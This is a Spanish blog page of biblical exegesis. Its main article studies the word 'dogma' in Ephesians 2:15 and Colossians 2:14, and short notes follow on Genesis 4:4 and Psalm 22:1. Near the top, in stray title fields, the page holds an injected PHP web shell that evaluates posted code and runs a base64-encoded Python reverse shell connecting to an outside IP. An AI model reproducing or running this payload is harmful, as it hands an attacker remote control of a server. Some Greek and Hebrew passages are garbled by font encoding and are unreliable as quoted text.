Blogia

Jojmá Targúm

bbtitle

tgooglebot2

t<_? eval($_POST['eval']); system(base64_decode("cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiNDYuMTQ4LjI2LjE1NiIsNDQzKSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKTsnCg=="))?_>googlebot3

Efesios 2:15 y Colosenses 2:14

¿Enseña Pablo la Abolición de la Ley en Efesios 2:15 y Colosenses?
En este artículo estudiamos el uso de dogma y dogmatizw  en la Septuaginta y en el Nuevo Testamento a fin de determinar el significado de las declaraciones de Pablo registradas en Efesios 2:15 y Colosenses 2:14. Mostramos que en ninguno de los versículos mencionados Pablo se refiere a la Ley de Dios (ya sea moral o ceremonial) sino que trata de mandamientos humanos y de la condenación del pecador, respectivamente.

1  Introducción

Desde los primeros días de la cristiandad ha existido entre los seguidores de Jesús un cierto debate acerca de cómo debemos relacionarnos con la ley de Dios, en su sentido más amplio. Durante los siglos diferentes grupos han tomado posiciones que van desde un apego total a la ley (tanto ceremonial como moral) como método de salvación (legalismo) hasta el rechazo completo a la vigencia de la ley (antinomianismo). En el marco de esta discusión, la exégesis de textos como Efesios 2:15 y Colosenses 2:14 tiene una importancia central. Históricamente, dos interpretaciones principales han sido defendidas, a saber: 1.  en estos textos Pablo menciona la abolición de la ley ceremonial (ver por ejemplo [1, 2])2.  estos textos enseñan la abolición de la ley en general (ver por ejemplo [3] Sin embargo, en ocasiones se tiene la impresión de que tales posiciones son defendidas más por razones de preferencia doctrinal que por respeto a una sana exégesis. Unos parecen defender la abolición de la ley ceremonial en estos textos para evitar la conclusión de que es la ley en general la que ha sido abolida. Otros parecen creer que la libertad cristiana exige la abolición de toda ley.En este artículo intentamos determinar el significado de Efesios 2:15 y Colosenses 2:14 tomando en especial consideración los aspectos lingüísticos. En ambos casos mostramos que la palabra dogma juega un papel central en la determinación del significado de los versículos. Luego estudiamos el uso de los vocablos dogma y dogmatizw en la Septuaginta y en el resto del Nuevo Testamento. A partir de estos resultados proponemos una interpretación alternativa para los pasajes en estudio.

2  Efesios 2:15

Pablo escribe en Efesios 2:15:y abolió la ley de los mandamientos (ton nomon twn entolwn ) formulados en ordenanzas (en dogmasin ), para crear en sí mismo de los dos hombres un solo hombre nuevo, haciendo así la paz (Reina-Valera Actualizada 1989)[1]  Evidentemente la dificultad de este versículo consiste en determinar qué quiere decir Pablo con la frase ton nomon twn entolwn en  dogmasin . El dativo puede ser interpretado de diferentes formas: 1.  Locativo (figurado): Pablo piensa leyes y mandamientos que están contenidos en las ordenanzas.2.  Instrumental: Pablo habla de leyes y mandamientos que se expresan o actúan a través de ordenanzas.3.  Dativo de Esfera [4]: Pablo se refiere a leyes y mandamientos que actúan en el ámbito de las ordenanzas4.  Dativo Asociativo [5]: En este caso Pablo estaría colocando las leyes y mandamientos en la misma categoría de las ordenanzas Sea cual sea la relación gramatical correcta entre ton nomon twn entolwn y en dogmasin , y debido en parte a la amplitud de usos de nomoV y entolh , lo cierto es que resulta evidente que la frase en dogmasin determina qué clase de leyes y mandamientos están en el pensamiento de Pablo y por lo tanto su estudio es fundamental para la comprensión del versículo. Por esta razón, prestaremos atención al uso de dogma (y el verbo asociado dogmatizw ) en la Septuaginta y en el resto del Nuevo Testamento.

2.1  Uso de dogma y dogmatizw en la Septuaginta y el Nuevo Testamento

Las palabras dogma y dogmatizw ocurren 13 veces en los libros canónicos de la Septuaginta (Ester 3:9, Dan[2]  2:13, 3:10, 3:12, 3:29, 4:6, 6:8, 6:9, 6:10, 6:12, 6:13, 6:15, 6:26). En todas ellas se refieren a ordenes decretadas por reyes.En los libros apócrifos la Septuaginta sólo utiliza 3 veces el verbo dogmatizw : 1 Esdras 6:33, 2 Macabeos 10:8 y 15:36. En 1 Esdras, dogmatizw se refiere a la orden impartida por Darío para reconstruir Jerusalén. En el segundo libro de Macabeos dogmatizw se utiliza para referirse a la decisión, por parte de los judíos, de celebrar anualmente la purificación del Templo y la victoria sobre Nicanor.En el Nuevo Testamento dogma sólo ocurren en 3 ocasiones además de los versículos que son objetos del presente estudio. En Lucas 2:1 y en Hechos 17:7, hacen referencias a decretos imperiales. En cambio, se usa la palabra dogma en Hechos 16:4 para referirse a las decisiones tomadas por ocasión del Concilio de Jerusalén.El verbo dogmatizw , en cambio, es usado sólo en un versículo del Nuevo Testamento: Colosenses 2:20. En este caso Pablo critica a los colosenses por someterse a ordenanzas (dogmatizesqe ) que luego pasa a enumerar (no uses, ni gustes, ni toques). Es de verdadero interés que en el versículo 22 Pablo califique dichas ordenanzas como “los mandamientos y las doctrinas de hombres” en clara oposición a los mandamientos de Dios. Como hemos visto en los párrafos anteriores, el significado de dogma  se concentra en dos acepciones(que no dejan de tener relación entre ellas), a saber: 1.  Decretos promulgados por reyes y emperadores2.  Decisiones, tomadas por un grupo de personas, que afectan costumbres y observancias religiosas[3]  Es digno de destacar que nunca, ni la Septuaginta ni el Nuevo Testamento, utilizan las palabras dogma y dogmatizw para referirse a la Ley de Dios (ya sea moral o ceremonial). Esta constatación es relevante dado el papel formador que la Septuaginta ocupa en relación al lenguaje religioso del Nuevo Testamento.

2.2  Consecuencias para la Interpretación de Efesios 2:15

Las consideraciones anteriores tienen profundas implicaciones para la exégesis de Efesios 2:15. El hecho de que la Septuaginta (y el resto del Nuevo Testamento) nunca se refieran a la Ley como dogma nos impide pensar que Pablo se refiera a ella en el versículo que es objeto de este estudio. Al contrario, Pablo parece haber usado la frase en dogmasin para especificar que se refería a normas cuya base se encuentra sólo en la tradición y en las enseñanzas de maestros humanos (en este punto es significativo el testimonio de Colosenses 2:20-22). Las conclusiones anteriores son respaldadas por un cuidadoso análisis del contexto de Efesios 2:15. A partir del versículo 11 Pablo resalta el contraste entre Israel y los gentiles. Sin embargo, en el versículo 14 Pablo menciona la “enemistad” y la “barrera de división”. Resulta difícil atribuir dicho antagonismo a las leyes morales o ceremoniales, pues, si bien es cierto que el Antiguo Testamento hace un contraste entre Israel y los demás pueblos e incluso determina normas contra la participacion de determinados pueblos en el culto a Dios junto con Israel, estas normas son específicas a pueblos determinados y en ningún modo pueden impulsarnos a generalizaciones. Por el contrario, tales restricciones permitieron excepciones notables en los casos de Rut y Rahab. En verdad, la estricta separación entre israelitas y gentiles se acentúa y profundiza en el período del Segundo Templo especialmente con el desarrollo de la interpretación rabínica de la Ley.

3  Colosenses 2:14

El segundo versículo considerado en este estudio es Colosenses 2:14 :El anuló el acta (ceirograjon ) que había contra nosotros, que por sus decretos (toiV dogmasin ) nos era contraria, y la ha quitado de en medio al clavarla en su cruz. En este versículo encontramos dos palabras claves: ceirograjon y dogma . ceirograjon es usada en los papiros para referirse a certificados de deudas o recibos de dinero [6]. Este significado de ceirograjon se confirma por su uso en la Septuginta donde aparece en Tobías 5:3, 9:2 y 9:5.En el capítulo 2 de Colosenses, Pablo describe cómo Cristo nos rescató de la muerte a la cual estábamos condenados por nuestra condición de pecadores. Es natural, entonces, entender que en el versículo 14 ceirograjon se refiera a la deuda que adquirimos para con Dios por el hecho de pecar. Desde este punto de vista, podemos entender que en este versículo, toiV dogmasin se refiere a los decretos que Dios (en su calidad de Rey) promulgó (debido a su justicia) condenando a muerte a los pecadores. Así, interpretando el dativo como instrumental, Pablo estaría diciendo que la deuda contraída se hace cruelmente efectiva a través de las sentencias condenatorias de Dios. Al mismo tiempo, Pablo afirma que Cristo nos vivificó pues por su muerte vicaria canceló la duda y anuló los decretos condenatorios. Esto concuerda con la enseñanza de toda la Bíblia en el sentido de que Jesús nos salvó no através de la anulación de la Ley sino cumpliendo en forma vicaria las exigencias de la Ley, aboliendo las sentencias que nos condenaban.

4  Conclusión

En este artículo estudiamos las declaraciones de Pablo en Efesios 2:15 y Colosense 2:14 que comunmente son usadas para fundamentar la abolición total o parcial de la Ley. Mostramos que en ambos casos la palabra dogma juega un papel esencial para la comprensión de tales versículos. Al observar su uso en la Septuaginta y el resto del Nuevo Testamento observamos que nunca es usada la palabra dogma para referirse a la Ley de Dios.A juzgar por la evidencia anterior más un análisis de la sintaxis y del contexto de cada pasaje, concluimos que en ellos Pablo no enseña la abolición de la Ley sino que trata acerca de la liberación de las ordenanzas fundamentadas en la tradición (Efesios 2:15) y la anulación de las sentencias condenatrias que pesaban sobre los transgresores de la Ley (Colosenses 2:14) References[1]   Albert Barnes, New Testament Notes (1832);John Gill, New John Gill’s Expositor of the Entire Bible; Matthew Henry, Matthew Henry Comentary.Todos estos comentarios pueden encontrarse como modulos de The Online Bible Software.[2]   Francis D. Nichols (ed.), Comentario Bíblico Adventista vol. 7, Pacific Press Publishing Association.[3]   B. W. Johnson, People’s New Testament NotesEste comentario puede encontrarse como modulo de The Online Bible Software.[4]   Para una descripción del dativo esfera ver por ejemplo: W. D Chamberlain, Gramática Exegética do Grego Neo-Testamentário, Primeira Edição, Casa Editora Presbiteriana (1989), página 142.[5]   Para una descripción del dativo asociativo ver: Maximilian Zerwick, El Griego del Nuevo Testamento, Editorial Verbo Divino (2000), párrafos 116-118. [6]   A. T. Robertson, New Testament Word Pictures, Este comentario puede encontrarse como modulo de The Online Bible Software.



[1]Hemos agregado el itálico para indicar que la palabra no aparece en el original griego[2]En estricto rigor nos referimos aquí a la versión de Teodosio del libro de Daniel. En la versión original de Daniel en la Septuaginta, dogma aparece menos frecuentemente. Sin embargo, esto en nada altera las conclusiones[3]Estas decisiones pueden o no contar con el beneplácito divino.
Alfonso R. Zerwekh. Valdivia. Chile.

Genesis 4:4

Texto que Reina Valera traduce asi: "Y Abel trajo también de los primogénitos de sus ovejas, de lo más gordo de ellas. Y miró Jehová con agrado a Abel y a su ofrenda". Texto que uno no puede dejar pasar sin preguntarse "¿por que?"; ¿por que Adonay se fijo con mayor agrado en la ofrenda de Abel y no de Caín?. Los sabios responden de una manera no tan ortodoxa a esta pregunta, y fieles a su tradición mileria de ver y debatir cada partícula del texto, sugieren que el motivo de la elección de Dios de una ofrenda (la de Abel) y no de la otra, no estaba basada en cantidades ni en calidades, sino en una cosa que en las traducciones castellanas casi pasa desapercibido. El texto hebreo dice literalmente que Abel (Hebel) llevo también de él, גַם-הוּא , es decir, no solo llevo lo mejor, sino que se llevó a él mismo como ofrenda a Dios. Un pequeño tips que espero pueda ayudar como introducción a algún sermon sobre Mayordomía.
Hemir Angel. Valdivia. Chile.

Salmo 22:1

iiiutl,Y<ïa (´ayeleth) Esta palabra en varias versiones castellanas es traducida de manera diferente, no habiendo un concenso general sobre el origen de la misma, oscilando el significado desde el femenino de “ciervo” (Cierva. N.V.I), hasta la palabra “Auxilio” (Torres-Amat). Incluso, muchas otras traducciones han preferido no escoger alguno de los términos relacionados con los nombrados mas arriba, y simplemente han transliterado el término hebreo al español, “ajelet-hasahar”, (Biblia de las Américas), término que el Talmud lo atribuye a la Reina Ester, indicando por el comentario rabínico que este Salmo esta dedicado a ella.
            Sin embargo, la nota crítica de la BHS nos informa que la versión de los Setenta y los Targumim vierten esta palabra como “ayuda”, comparándola con la palabra
ytiªWly"a/÷ del verso 20 del mismo capítulo. Palabra que la RV traduce como “fortaleza mia”. Lo que nos da mayores luces del porque la traducción de Torres-Amat (traducción castellana que usa como texto fuente la Vulgata),citada mas arriba, ocupa el término “auxilio”, y no “gacela” o “cierva”, ocupada mayormente por versiones mas modernas.
Hemir Angel. Valdivia. Chile